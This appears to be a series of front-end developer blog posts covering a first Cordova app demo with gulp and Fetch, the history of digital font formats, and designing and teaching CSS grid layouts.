Another thing about this legacy demo was that the repository had no .gitignore file. So all the build artefacts happened to end up in the repository as well. As I was so terribly stuck during the two days of setting up, I read through the Cordova documentation and came across this section on version control, which stated:

It is recommended not to check in platforms/ and plugins/ directories into version control as they are considered a build artifact. Your platforms and plugins will be saved in config.xml & package.json automatically. These platforms/plugins will be downloaded when on the machine when cordova prepare is invoked.

I've had the unfortunate experience of bombing up a Git repository rather early on in my career, and since then, I've always made sure my repositories have properly set up .gitignore files. Because, cleaning up a bombed repository is not fun at all. My .gitignore file ended up looking like this:

# Mac
.DS_Store
.AppleDouble
.LSOverride
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent
.AppleDB
.AppleDesktop
.apdisk
.idea

# Windows
ehthumbs.db
ehthumbs_vista.db
*.stackdump
[Dd]esktop.ini
$RECYCLE.BIN/
*.lnk

# Build artifacts
capture_plus/platforms
capture_plus/plugins
node_modules

# IDE files
android.iml
CordovaLib.iml

I also started up a new repository because there was too much history in the original repository for my liking. I guess that's like a cop out, but I was on a time crunch here, my friends. Life isn't perfect and I don't make perfect decisions.

What is this Cordova?

According to the documentation, Apache Cordova is an open-source mobile development framework which allows us to use standard web technologies–HTML, CSS and JavaScript–for cross platform development.

This made it possible for me to treat the project like a typical web application, and set up my regular gulp workflow for Sass compilation, Babel transpiling and Nunjucks as the templating language.

My project folder structure ended up looking like this:

PROJECT_NAME/
|-- .git/
|-- .gitignore
`-- APP_FOLDER/
    |-- config.xml
    |-- hooks/
    |-- platforms/
    |-- res/
    `-- www/
|-- gulpfile.js
|-- node_modules/
|-- package.json
|-- README.md
`-- src/
    |-- js/
    |-- pages/
    |-- scss/
    `-- templates/

The APP_FOLDER was where all the Cordova-related commands would be run from, and only contained files that were relevant for the app. My source code was all placed in src and gulp would process them into the www folder. Most of our projects are built in Python, so Flask was a commonly used framework for developing the web-based UI portion.

Flask uses Jinja2 as its templating language and Nunjucks uses a very similar syntax, because it was based off Jinja2 to begin with. A templating language really streamlines the development workflow because of features like the ability to use includes and macros, template inheritance, use of iterators etc.

Gulpify-ing Cordova development

As mentioned, my workflow involved three major tasks, compiling Sass into CSS, transpiling ES6 with Babel, and compiling Nunjucks templates into HTML. Based on the folder structure as outlined above, here are each of the three tasks' gulp functions:

gulp.task("sass", function () {
  return gulp
    .src("src/scss/styles.scss")
    .pipe(
      sass({
        includePaths: ["scss"],
        onError: browserSync.notify,
      })
    )
    .pipe(prefix(["last 3 versions", "> 3%"], { cascade: true }))
    .pipe(gulp.dest("capture_plus/www/css"))
    .pipe(browserSync.reload({ stream: true }));
});

gulp.task("scripts", function () {
  return gulp
    .src(["src/js/*.js"])
    .pipe(
      babel({
        presets: ["env"],
      })
    )
    .pipe(gulp.dest("capture_plus/www/js"))
    .pipe(browserSync.reload({ stream: true }));
});

gulp.task("nunjucks", function () {
  return gulp
    .src("src/pages/**/*.+(njk)")
    .pipe(
      render({
        path: ["src/templates"],
      })
    )
    .pipe(gulp.dest("capture_plus/www"))
    .pipe(browserSync.reload({ stream: true }));
});

A critical part of my workflow is the use of Browsersync. So that made it in the gulpfile.js as well:

gulp.task("browser-sync", ["nunjucks", "sass", "scripts"], function () {
  browserSync.init({
    server: "APP_NAME/www",
    port: 6001 /* Pick your favourite port number */,
  });
});

Debugging on a device

As this demo was going to be deployed onto our company tablets, which were all Samsung Galaxy S2s, I only focused on the Android portion of things. If we ever demo on an iOS device, I'll let you know. What I liked about the Android tablets is that once you connect it to your computer via USB, you can inspect stuff just like on a desktop browser when using Chrome.

To do that you'll have to turn on Developer Mode, which involves finding the Build number of your device, usually under the About device section in Settings. Tapping on the Build number seven times will unlock Developer mode. You'll know you're on the right track because a notification will pop up after a couple of taps saying “You are now X steps away from being a developer.”.

Once that happens, there will be a new section called Developer options, where you can turn on USB debugging. This is what allows us access to the Chrome Webview debugging tool by entering chrome://inspect in the address bar.

Chrome can tell if you've connected to an Android device

To test and debug your Cordova app on the Android device, you'll need to use this command, the -debug flag is important here:

cordova run android -debug --device

Inspect your app like you would a website

The only minor issue is that every time you make a change to your code, you'll have to redeploy to the device to test it. But for this app I was building, the only time I had to do this in quick succession was when I was working with the device APIs. The rest of the time I just worked off my computer, since Browysersync was serving up the files as per a normal website.

Accessing device APIs with Cordova plugins

As someone who was using Cordova for the first time, I didn't realise how much heavy lifting was already handled by the plugin ecosystem until I dug into the part of the code that used the Cordova Plugin Camera Preview and the card.io plug-in for Cordova.

The documentation for these two plugins was pretty good and it didn't take too much for me to figure out how to get things working. Part of the demo involved snapping a picture of the user as part of the registration process. Camera Preview's takePicture function provides the option to set width, height and quality and returns the image data as a base64 encoded jpeg image which you can then process as you wish.

Displaying the image involved adding a handful of CSS styles to make sure things aligned up nicely, specifically object-fit. This property is slowly climbing up my list of favourite CSS properties.

.selfie-image {
  width: 400px;
  height: 400px;
  object-fit: cover;
  object-position: center;
}

Another fun part of the app was the bit where you could snap a photo of your government-issued identification card and the app could extract relevant details like the card number and country of issuance. To make life easier for ourselves, we only “accepted” cards from Malaysia and Singapore.

For this, we used the Google Vision API for text extraction, and it's actually pretty good. I suppose the cards themselves are clearly printed and standard format, so maybe it wasn't all that hard for Google to extract the text. Based on the processed image, we could display the extracted text in the UI, instead of having users manually type it in.

card.io is made by the folks at PayPal and provides easy credit card scanning in mobile apps. Our demo also had a credit card scanning component. The library comes with a set of functions that return relevant fields from the credit card scan so you can use them how you want. And if the scan fails for some reason, there is always the option for manual entry via the device keyboard.

One thing I learned from this exercise is that the first six digits of a credit card identifies the card's brand, financial institution that issued it, as well as country of issue. Basic credit card number validation is dependent on the Luhn algorithm, which is a simple checksum formula that considers the number sequence valid if the checksum mod 10 equals to zero.

Good to know if you need to generate credit card numbers for testing. Like how I did.

Removing jQuery is cathartic

Once I had my workflow set up, I could write ES6 syntax without worrying too much about browser support. To be safe, I did include polyfills for Promises and Fetch. All the jQuery from the original implementation was rewritten in ES6, and streamlined where possible (let's just say there were some functions that weren't necessary, just some).

It was a good way for me to familiarise myself with the Fetch API as I had to convert all the $.ajax() POST requests to use Fetch instead. Mostly issues with cors but it wasn't that hard to google up the right settings.

For example, the POST request to check the card number against our BIN database used to look something like this:

var url = encodeURI(
  "http://SOME_SERVER_ADDRESS.com/bank/app?binbase=" +
    binbase +
    "&lastfour=" +
    lastfour +
    "&id=" +
    id +
    "&amount=" +
    amount
);

var settings = {
  async: true,
  crossDomain: true,
  url: url,
  method: "POST",
  dataType: "json",
  headers: {
    "cache-control": "no-cache",
  },
  complete: function () {
    window.location.href = "sms_verification.html";
  },
};

$.ajax(settings).done(function (response) {
  // console.log(response)
  if (response.status == "ok") {
    console.log("success");
  } else if (response.status == "fail") {
    console.log("fail");
  } else {
    console.log("error");
  }
});

The refactored version looked something like this:

const url = encodeURI(
  uiServerUrl +
    "/bank/app?binbase=" +
    binCheck +
    "&lastfour=" +
    lastfour +
    "&id=" +
    userId +
    "&amount=" +
    verificationAmount
);
fetch(url, {
  method: "POST",
  mode: "cors",
  headers: new Headers({
    "Content-Type": "application/json",
  }),
})
  .then(checkStatus)
  .then(function (response) {
    return response.json();
  })
  .then(function (data) {
    console.log("Bin check status: " + data.status);
    window.location.href = "verification.html";
  })
  .catch(function (error) {
    console.log("request failed", error);
  });

Is my method better? I really can't say for sure, because both implementations achieved the same result, but I'm really more fond of using Fetch, you know?

Wrapping up

This was just an overview of my first-time experience with Cordova and I think it's a pretty useful framework for demonstrating proof-of-concept, especially when you don't have any native developers on hand. Would I use this for a full-fledged native app? At this point, I'd say probably not, but what do I know?

There's another part to this demo that I'm pretty happy with but it has nothing to do with Cordova, so that'll show up in another post. That part involves theme switching with Sass maps, and fun times all around. Stay tuned, my friends.

Making sense of digital fonts

Sun, 11 Feb 2018 00:00:00 GMT

My interest in language, writing systems and typography has led me to spend hours down a rabbit hole in search of answers to the plethora of “how/why did this come about?” questions that pop into my head at random. I may have an ”easily distracted” issue, but we're not talking about that today 😈.

As I was polishing up my talk for You Gotta Love Frontend last year, I started digging into digital font formats. At the time, I was trying to come up with an easy-to-explain definition for fonts. And I came across some good ones, which often make the contrast between fonts and typefaces, from this article by Yves Peters.

...the physical embodiment of a collection of letters, numbers, symbols, etc. (whether it’s a case of metal pieces or a computer file) is a font.
—Mark Simonson

font is what you use, and typeface is what you see.
-Norbert Florendo

But after figuring out what fonts actually were, I wanted to know how digital fonts worked. I did eventually finish my talk, just that I got slightly sidetracked along the way. This is going to be another “brain dump” post. You have been warned.

TLDR: digital font formats are simply another type of data format, which store information about the font based on each format's respective specifications.

Increasing layers of abstraction

In my mind, digital is transient, it is an encoding and manipulation of electronic signals. And as digital technology continues to progress (at a breakneck speed, might I add), we see less and less of the actual physical manifestations of it.

Look at this glorious Colossus Mark 2 computer being operated by Wrens Dorothy Du Boisson (left) and Elsie Booker (right).

As someone who is generally curious about how things work under the hood, and why things came to be a certain way, I found books like The Dream Machine, Where Wizards Stay Up Late and When Computers Were Human as well as podcasts like the Internet History Podcast, particularly interesting.

It wasn't that long ago when computers surrounded human beings (like the Colossus or the ENIAC) and the rate of computation, though fast, was still somewhat visible to the human eye.

In a couple of decades, processor sizes have shrunk exponentially, while their speeds have increased exponentially. It's gotten to a point whereby if you showed someone from the 19th century your smart phone, they might think it's magic (or call you a witch, I don't know, times were different).

And I don't think I'm wrong to say that about most of us these days either. Maybe we don't think it's magic per se, but most people don't know how their computers even work (and probably don't care as long as it does).

Analogue fonts

Before digital, when we talked about fonts, we were usually referring to metal typesetting, where fonts were the complete set of metal types that were used to typeset entire pages of text. Those were in use for hundreds of years until today, for use in letterpress printing.

Typesetting by Ri Xing foundry

Composing stick loaded with types

We also have fonts that look like this:

Bodoni Bold for Linofilm V-I-P

Ben Franklin Bold for Linofilm V-I-P

And these were used in phototypesetting. They served as a bridge between analogue and digital, because the fonts were, in a way, physical objects, but working with those fonts required a digital display.

So the question is, how did we get from fonts that we could hold in our hands, to fonts that only existed as bits and bytes?

A bit about bits and bytes

Computers are so ubiquitous today that you don't have to be an engineer or a computer scientist to use one. There was a time when computers were a niche domain, of interest only to enthusiasts and hobbyists who possessed the technical knowledge to operate them. Fast forward to today, many computer users may not know what goes on underneath the hood of their machines.

With GUIs becoming more prevalent and polished, it is totally possible to go about all tasks without knowing what a file system is or where data is stored. But let's examine the concept of digital data for a little bit. I thought the Crash Course Computer Science series did a really good job explaining a lot of basic computing concepts, and I'll be referencing information from that video series.

If you think about it, what is a file, exactly, in digital terms? It helps to go back to a time when there were less layers of abstraction between the hardware and the user interfaces.

The Harvard Mark I by IBM

The Harvard Mark I was built by IBM for the Allies during World War II and it was made up of 765,000 components, 3,000,000 connections and 800 kilometres of wire. A 15-metre shaft driven by a 5 horsepower motor was used to keep its internal mechanics in sync. All computations were essentially controlled by mechanical switches, toggling between on and off states.

Very early experimental point contact transistors by IBM (image credit: American Computer Museum)

On and off. 1s and 0s. Bits and bytes. This is why binary is so important when it comes to electronics and computers. Computers run on billions of electronic switches which store binary numbers when electric currents toggle them to either on or off states. Every single data format out there is stored and processed by a computer in the form of binary digits. Digital, get it? (My brain replies, yes, got it.)

AMD Zeppelin with 4,800,000,000 transistors

File formats are a standard method of encoding information for storage. They usually come with detailed specifications that describe exactly how bits are used to encode information in an electronic medium. These specifications may be freely available (open-source) or proprietary, as sometimes they are considered trade secrets.

Encoding data is one thing, but rendering them on a graphical display is another animal altogether. The development of hardware like graphical terminals and printing devices went hand-in-hand with software advancements like rasterisation algorithms and page description languages.

If you really think about it, anything seen on a screen has everything to do with the field of computer graphics. And digital typography is really a cross-disciplinary field involving technical engineering, aesthetic design and mathematical precision.

Understanding font formats

Yannis Haralambous wrote a very comprehensive book called Fonts & encodings, which was a great help in my understanding of digital fonts. The basic gist of digital font formats was explained as follows:

A font is a container for glyphs. To set a sequence of glyphs, the software calls up a font through the operating system and asks for the glyphs that it needs. The way in which the glyphs are described depends on the font format: PostScript, TrueType, or any of a number of others, all of them quite different.

This then begs the question of what a glyph is. Luckily, the book includes these definitions as well:

A glyph is the image of a symbol used in a writing system (in an alphabet, a syllabary, a set of ideographs, etc.) or in a notational system (like music, mathematics, cartography, etc.).

A character is the simple description, primarily linguistic or logical, of an equivalence class of glyphs.

The issue of characters and glyphs is not as straight-forward as most people think, and this may seem more apparent you if you have an understanding of Asian languages. If this topic is of interest to you, I recommend reading Surface or Essence: Beyond the Coded Character Set Model by Shigeki Moro.

Font formats differ in the manner the glyphs for each character or symbol are stored in their respective font-resource files. A font incorporates character patterns and spacing information, and the contents of character patterns depend on the envisaged representation. (Kohen, 1989).

Bitmap fonts

Bitmaps are made up of a regular rectangular mesh of cells called pixels, with each pixel containing a colour value. Pertinent information for bitmaps are the number of pixels and their colour depth per pixel. Bitmap formats are simply a list of bitmap information, byte by byte, row by row. Such a method results in large file sizes, hence compression is of utmost importance.

The earliest fonts were bitmap fonts, or raster fonts, which stored each glyph as an array of pixels. Think of them as collections of raster images of glyphs. These glyphs are described by black or white pixels. This worked fine for low resolution screens at the time, where each glyph would contain around a hundred pixels or so.

But for high resolution printing, such an approach would result in a single glyph requiring thousands of pixels to render clearly. You can imagine the resulting file sizes. Also, every new font size would call for a new set of character patterns, making them relatively inflexible. The limitations of bitmap fonts triggered the development of outline fonts.

Outline fonts

Outline fonts, or vector fonts, are collections of vector images, which describe glyphs as sets of lines and curves. The advantage of storing font information in such a manner is that they can be scaled without compromising resolution.

However, doing so required considerable more processing power as compared to bitmap fonts, and depending on the rendering engine used and output size required, your mileage could vary when it came to the end result. But the biggest issue with outline fonts was the fact that most screens rendering them were raster displays.

PostScript fonts

John Warnock, founder of Adobe, developed PostScript, which is a programming language for describing the entire printed page using mathematical constructs. This language encompassed a font format which remains widely used today: Type 1 fonts, whereby glyphs are described with mathematical constructs via the PostScript language.

The specification explains the ins and outs of Type 1 fonts in 111 pages, so read it only if you're interested, I guess 🤷. Type 1 fonts are expressed as computer programs, written in the PostScript language.

The program is an organised collection of procedures describing character shapes, and it consists of a clear text (ASCII) portion, and an encoded and encrypted portion. In contrast to Type 3 fonts, Type 1 fonts allow for hinting to make their representation as exact as possible of various devices and pixel densities.

I'd like to take the opportunity to shout out the Hanzi documentary, which is an excellent production centred around type design, visual culture and identity with regards to the Chinese writing system.

I also learned that LiSong (儷宋) was the first Chinese PostScript font in the world, and the current LiSong Pro (儷宋 Pro) is based off that original first generation, created in 1989 by Sammy Or (柯熾堅老師).

Truetype fonts

TrueType was Apple and Microsoft's response to Adobe's font monopoly in the 1980s, and became the most common format for Macintosh and Windows operating systems. TrueType is not ostensibly better nor worse than Type 1 fonts, just different.

A TrueType font file is made up of a sequence of concatenated tables. The first of these tables is known as the font directory, which provides all the information needed to access the data in the other tables. A table name can have up to 4 letters.

If you refer to the TrueType™ Reference Manual, you can see the entire list of font tables, but 9 of those are required tables, namely cmap. glyf, head, hhea, hmtx, loca, maxp, name and post.

TrueType led to the development of several other formats. ~~, including Multiple Master fonts, which allowed modifications to the shapes of the glyphs under the user's control, a predecessor to the variable fonts we hear about so often these days.~~ Apple had worked on an extension to TrueType, which eventually became Apple Advanced Typography (AAT).

Update: David Lemon pointed out that Multiple Master was an extension to Type 1 NOT TrueType. The section on variable fonts below has been updated accordingly.

Opentype fonts

Update: Tiro Typeworks pointed out that it was Adobe who approached Microsoft and joined in to work on OpenType. Microsoft had already created TrueType Open in 1994, and Adobe joined in these efforts in 1996, adding support for the glyph outline technology they employed in their own Type 1 fonts.

Adobe ~~Microsoft~~ eventually turned to former competitor, Microsoft ~~Adobe~~, and together they came up with OpenType as a response to AAT. Sort of reminds me of playground alliances back in kindergarten, just saying 🤷. Anyway, OpenType is an extension to TrueType as well, with support for PostScript font data.

Again, the OpenType file format contains data in a table format. OpenType fonts can include the OpenType Layout tables, which allow font makers more options when it comes to designing international fonts or high-end fonts with typographic features. These tables contain information on glyph substitution, glyph positioning, justification, and baseline positioning, enabling text-processing applications to improve text layout.

Variable fonts are something which is gaining considerable visibility these days, and some might view it as a successor to the Multiple Master font format. Multiple Master was an extension of Type 1 introduced in 1991, which allowed modifications to the shapes of the glyphs under the user's control.

Variable fonts were an addition to the OpenType specification in version 1.8, and introduced the fvar or font variations table, that describes the axes of variation used by that font. In addition to this table, there is also a STAT or style attributes table that describes additional details about each axis of variation and their values.

The new variation tables introduced are: axis variations (avar), CVT (control value table) variations (cvar), font variations (fvar), glyph variations (gvar), horizontal metrics variations (HVAR), metrics variations (MVAR), vertical metrics variations (VVAR). For all the information, here's a link to the OpenType specification.

Wrapping up

This was such a rabbit hole, and I think I barely scratched the surface of all the font formats that are out there, only touching on those I have worked with before. But at least now I have some sort of a mental model of how font information is stored among the different types of fonts, which was the point of this entire exercise to begin with.

But this research has spurred my interest into the development and digitisation of Chinese fonts, so maybe there will be a follow up post to this. Stay tuned, my friends 🤓.

How I design with CSS grid

Wed, 07 Feb 2018 00:00:00 GMT

After a couple of rounds of introducing CSS grid to people who haven't tried it before, I found it wasn't the implementation of grid that people asked questions about, rather, it was the bit before that. The actual planning of how a layout would be set up.

If you read the previous post on teaching CSS grid to newcomers, one of the analogies I used was the one about gardening, i.e. curating exactly where your plots of hydrangeas, roses and tulips would turn up. Okay, lost you there. I guess horticulture isn't everyone's thing 🤷.

But to be honest, I've found myself using a pencil and paper to sketch out my grids a lot more since I've started designing and building with CSS grid. The grid syntax itself is very visual in nature and I always highlight this fact when I'm teaching Grid.

Look at the syntax for a simple grid:

.grid {
  display: grid;
  grid-template-columns: 150px 150px 150px;
  grid-template-rows: 200px 200px;
}

You can already tell that the grid takes 3 columns and 2 rows. And this is even more evident with grid-template-areas, which I am quite fond of as well.

.grid {
  display: grid;
  grid-template-columns: 12em 1fr 15em;
  grid-template-rows: 10em 20em 1fr 10em;
  grid-template-areas:
    "a a b"
    "c d d"
    "c d d"
    "e e e";
}

.grid-item__a {
  grid-area: a;
}
.grid-item__b {
  grid-area: b;
}
.grid-item__c {
  grid-area: c;
}
.grid-item__d {
  grid-area: d;
}
.grid-item__e {
  grid-area: e;
}

It is quite intuitive to visualise the grid in your browser in the manner in which the code is being laid out. And that's fantastic, I don't think we have any other properties that behave in this manner at all. A visual presentation requires a visual tool, and we get that with CSS grid.

So in broad strokes, this is my process for “web-ifying” a static print design, or whatever else was my source of inspiration at the time.

Examine all the elements on the original design
Translate the design onto a pencil and paper sketch
Work out how the grid needs to be structured so it can morph around different viewport sizes nicely
Designate flexible and fixed tracks as per the design
Start building out the design in code and view on the browser
Adjust and tweak track sizes until fully cooked, oh wait, sorry, this isn't a recipe for one-pot cheesy chili 😏

Though I wasn't kidding about the adjust and tweak part. I resize the browser way too often than the average web user considers normal. Like exponentially more often 😌.

Use-case: Tycho artist profile

Tycho Artist Profile by Drew Sullivan

I came across this design on Dribbble and immediately thought to myself, hey I can totally do that on the web, and not as an image. I was familiar with Tycho because I used his album covers as inspiration for my first ever conference talk at CSSConf.Asia back in 2016.

Examine

This is what happens in my head when I see a grid-ifyable design

The design can be broken up into 6 columns and 4 rows. Maybe you see things differently, you could intuitively see 5 columns or something else, and that's totally fine. My take on design is very laissez-faire, you-do-you, so come up with whatever works well for you.

Translate, structure & designate

Pencil and paper is cheap and quick. It lets me iterate in my head how I want my tracks to behave, while helping me visualise the final effect. A question I get from people who first notice my grid structure is why do I have that fourth (from the left) flexible column?

I like analogue sketching, it works for me

I chose to put in an extra column for more control over the flexible spacing I wanted to have between the main text and the feature image. But there's always more than one way to skin a cat when it comes to doing CSS, and if you want to have less columns, do that.

Finally, code time!

Build

Always mark-up first. Regardless of what the kids are doing these days, I stick by my guns and start with mark-up first. A fun experiment (maybe not for you, but definitely for me) is to see how your site reads on Lynx. It does serve as a good gauge of whether the content on the site is structured properly or not.

Looks reasonable to me

Basic visual styling next, things like fonts, colours and text formatting. Because browsers have their own styles, I do some minimal resetting of my own, just for margins and paddings, as well as set box-sizing to border-box by default. Just a personal preference.

main {
  max-width: 45em;
  margin: 0 auto;
  position: relative;
  padding: 1em;
}

_:-ms-input-placeholder,
:root main {
  display: block;
}

h1 {
  font-family: $header-font;
  color: $accent;
  font-size: calc(3em + 7vw);
  margin-bottom: 0.25em;
}

h2 {
  text-transform: uppercase;
  font-size: calc(1em + 0.5vw);
  color: lighten($text, 50%);
  margin-bottom: 1em;
}

hr {
  opacity: 0;
}

.about {
  line-height: 1.3;
  margin-bottom: 1em;
}

a {
  display: block;
  text-transform: uppercase;
  text-decoration: none;
  color: $text;
  margin-bottom: 2em;
  font-weight: bold;
}

img {
  width: 100%;
  height: 100%;
  object-fit: cover;
}

.location {
  text-transform: uppercase;
  line-height: 1.5;
  font-weight: bold;
}

button {
  border: 0;
  background-color: $accent;
  color: $main;
  text-transform: uppercase;
  font-size: 100%;
  padding: 1em 2em;
  position: absolute;
  right: 1em;
  bottom: 1em;
}

The base layout should make use of CSS that is almost universal, i.e. properties that are supported everywhere. Even though I always say web pages don't need to look exactly the same in every browser, broken is NOT a design pattern, my friends. This base layout may look a little plain and boring, but hey, if I want to go see Tycho, all the information is there for my comfortable consumption.

Vanilla is fine, really

Now, we can start doing the fun stuff of playing with grid. I chose to go with flexible units like fr and viewport units because I wanted the layout to fully occupy the window without overflowing, when space allowed. So if you look at my grid-template-columns property, it looks a little nuts if you've never used grid before.

And all the rows are relative to the viewport height, which can get a little tricky. I can't remember exactly what my initial values were any more, because there were a few rounds of adjustments, followed by manic browser resizing, then more adjustments… You get the picture.

Adjust, tweak, rinse, repeat

Eventually I settled on this:

@supports (display: grid) {
  @media (min-width: 42em) and (min-height: 27em) {
    main {
      max-width: none;
      padding: 0;
      display: grid;
      grid-template-columns:
        2fr minmax(10em, max-content) minmax(14em, max-content) minmax(1em, 1fr)
        fit-content(28em) calc(2em + 0.5vw);
      grid-template-rows: 35vh 40vh 15vh 10vh;
    }

    h1 {
      grid-column: 3 / 6;
      grid-row: 1 / 2;
      z-index: 2;
      padding-left: 0.25em;
      margin-bottom: initial;
    }

    h2 {
      grid-row: 1 / -1;
      grid-column: 6 / 7;
      writing-mode: vertical-rl;
      margin-bottom: initial;
      color: $text;
    }

    hr {
      grid-column: 5 / 6;
      grid-row: 2;
      height: 6px;
      background-color: $text;
      width: 20ch;
    }

    .about {
      grid-column: 5 / 6;
      grid-row: 2;
      align-self: end;
      padding-bottom: 4vh;
      margin-bottom: initial;
    }

    a {
      grid-column: 5 / 6;
      justify-self: end;
      align-self: center;
      margin-bottom: initial;

      &::before {
        content: "";
        display: block;
        height: 4px;
        background-color: $accent;
        width: 4ch;
        margin-bottom: 1em;
      }
    }

    img {
      grid-column: 1 / 4;
      grid-row: 1 / 4;
    }

    .location {
      grid-column: 3 / 4;
      grid-row: 3 / 4;
      z-index: 2;
      background: $main;
      text-align: center;
      display: flex;

      p {
        margin: auto;
      }
    }

    button {
      grid-column: 2 / 3;
      grid-row: 4 / 5;
      position: initial;
      padding: 0;
    }
  }

  @media (min-width: 48em) and (min-height: 27em) {
    hr {
      opacity: 1;
    }
  }
}

The min-height query was put in there to take care of the black line underneath the main header. The thing about using viewport units for layout is, there will definitely be points where the layout breaks. Which is why media queries are quite essential. So you can switch out of viewport units when the context no longer makes sense.

Here's the final end result in action:

Play around with the stand-alone demo if you like

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

And the CodePen, if that's more your thing. I suggest viewing in Full Page mode so you can have fun with resizing too 🤣.

See the Pen Tycho Artist Profile by Chen Hui Jing (@huijing) on CodePen.

The original inspiration worked best on a landscape view, and just because it doesn't work well on a portrait orientation doesn't mean we can't adopt it. Our job is to think about designing for a dynamic medium, and I find that incredibly rewarding, and fun, to be honest.

What other medium exists where we don't just think in one fixed dimension? We get to think about how our design will morph on a narrow screen, or on an older browser, in addition to how it will appear on a browser with the latest features. And to me, that's what makes our medium really special.

Wrapping up

I genuinely believe that CSS grid will encourage designers and developers to explore more creative layouts and rely less on pre-canned CSS frameworks because of its intuitive yet powerful nature. I don't think CSS frameworks will go away, and there are definitely use cases for them, but I look forward to a time when CSS grid is THE go-to technique for building layouts on the web 😎.

Teaching CSS grid to newcomers

Sun, 04 Feb 2018 00:00:00 GMT

I've had quite a start to 2018, largely due to my tendency to “say yes, worry later”, which has both served me well yet sometimes makes me question my intelligence. So in January 2018, I became gainfully employed full-time, organised a half-day CSS conference, spoke at JSConf.Asia and conducted a workshop on CSS grid there as well.

Can you understand why I tell my friends I'm an idiot who is incapable of checking her calendar now? Anyhow, over Christmas, I got to know a bunch of friends who just graduated from one of the many bootcamp programs here in Singapore.

This particular bootcamp apparently did not place much emphasis on front-end technologies as they did not cover JavaScript and mainly used Bootstrap as their CSS solution for all their projects.

My face when I heard this...

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

If you don't know me, just know that I really, really dislike pre-canned CSS frameworks. I do agree every project ought to have their own customised CSS framework, but we'll talk about that another day.

The TLDR version of things is that, since I was holding a CSS grid workshop for JSConf.Asia, why not get two of them to be my co-facilitators, and I'd just give them a crash course on CSS layout beforehand? Just another one of my hare-brained schemes 🤷.

Conclusion: CSS grid is intuitive to new-comers, and will change the way we teach web layouts moving forward.

Establish understanding with questions

It might be just me, but I like asking basic questions first. Like:

What is Bootstrap?
What is CSS?
What do you think X is?
Why do you think Y does that?

Something along those lines. Or if I'm feeling cheeky, I start off with “tell me about CSS”, to which I usually get this look 🤨. But it does help to understand where the other party stands so I can better get my points across.

Befriending the browser is key

I may not be the most experienced web veteran around, but I have had my fair share of trying to explain to non-developers why certain designs were not feasible during my agency life. Eventually I realised that a lot of the issues arose from the lack of understanding of how a browser rendered stuff.

Almost every other medium I can think of allows for direct manipulation of the canvas. When you draw or paint, you can determine exactly where you want an element to appear, same goes for if you use any digital image creation software like Sketch or Photoshop. If you are used to such a mode of operation, the browser may seem unwieldy for design.

That's because there is one more layer separating you, the creative designer, and the browser, which is the canvas. And that layer is code, the instructions we have to give the browser to tell it how we want our elements to appear. Without a solid understanding of the capabilities and behaviours of the browser, this will become as fun as trying to tell a toddler how to operate a forklift.

Or being a walrus with no limbs...

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

What I found really useful as a resource for explaining the browser was Lin Clark's article where she explained the Quantum CSS engine published on Mozilla Hacks last year. The steps of Parse → Style → Layout → Paint → Composite are so much more easily understood when she explains them.

Parse

Style

Layout

Paint

Composite

Analogies are a thing

Another thing I found myself doing was using all sorts of analogies that were not web-related to get my point across. Sometimes, teaching feels like refining a stand-up routine (omg, I did it again), because as I rack my brain to explain things as simply as I can, new ideas pop into my head.

So these are the CSS-related analogies I used thus far:

Chessboard and chess pieces, for grid item placement. Like, placing items on the grid is like placing pieces on a chess board.
Jay-Z and Beyoncé, for the relationship between Grid and Flexbox. Like, how Jay-Z and Beyoncé are both great on their own, but together, achieve another level of awesomeness. Just like Grid and Flexbox. This is my go-to for every layout talk I've ever given 🤣.
Water, for explaining the cascading, global nature of CSS versus the modular, encapsulated nature of most traditional programming languages. Like, traditional programming paradigms treat functions discretely, like stones you can pick up, but CSS is like water, which flows and cannot be controlled, only shaped.
Team sport, for describing how the full power of CSS shines through when used in combination. Like, most tutorials or articles tend to look at a particular property in isolation, which is great for understanding and learning something new. But combining properties is what makes magic.
Curated landscaping, for comparing past layout techniques with CSS grid. Like, pre-Grid layouts which relied on sizing the item was akin to tossing your seeds in general directions and just hoping they will all grow out in the right place. But grid lets us plant our flowers in specific plots so they all grow out exactly where we want them to.

This list will only continue to grow as I keep trying to explain web layouts to people, so stay tuned for more of the same. If you don't subscribe to my brand of self-entertainment, well, not much I can do about that, can I?

A bit of history helps with understanding

Note that I said a bit, not a lot. That just becomes boring. I figured some background about this thing known as CSS would help resolve some untold emotional trauma amongst people who are uncomfortable with CSS. Or maybe not. I still have to try, right?

CSS has evolved along with browser capabilities over the past two decades, and the structure of its specifications have been updated along the way as well. CSS specifications are now modular in nature, to help with maintenance and updating.

If you stop to think about it, it's been quite a journey, from having no way to do layout, to doing it in HTML with the table element, to hacking floats and flexbox, before we finally got CSS grid as a means to properly lay out a full page of elements.

Web layouts, an evolution.

Explaining the context of why we had to jump through so many hoops to try to layout a page on the web makes it slightly easier to accept the nature of CSS (at least based on my limited sample size). Regardless, my inordinate love of CSS just meant that I was having the time of my life talking about CSS. My two friends who were on the receiving end…? You'll have to ask them 🤣.

Team Anyhowly

anyhow /ˈɛnɪhaʊ/: in a careless or haphazard way.

-ly: is usually a contraction of -like, commonly added to an adjective to form an adverb, but in some cases it is used to form an adjective.

People who learned the English language properly will realise that Anyhow is an adverb already, hence the -ly is redundant. But Singlish being what it is, we don't care. It's like saying ATM machine, or LCD display. Redundancy is all around us, just accept it 🤷.

Because of my haphazard ways, I have decided to co-opt the term Anyhowly for my personal use. Like how we anyhowly organised Talk.CSS max-content edition (videos are all up ICYMI #shamelessplug), and how I anyhowly decided to ask two people with no prior experience with CSS grid to be my co-facilitators. Anyhowly™.

Team Anyhowly repping Talk.CSS

I want to take this opportunity to show my greatest appreciation to the two of them, Gloria Soh (left) and Shirlaine Phang (right), for going along with my monkeying about, and tolerating my lack of adulting skills. The JSConf.Asia grid workshop was more fun with them around anyway.

Team Anyhowly forever 🙆. May the monkeying never stop.

Managing data with Jekyll

Mon, 01 Jan 2018 00:00:00 GMT

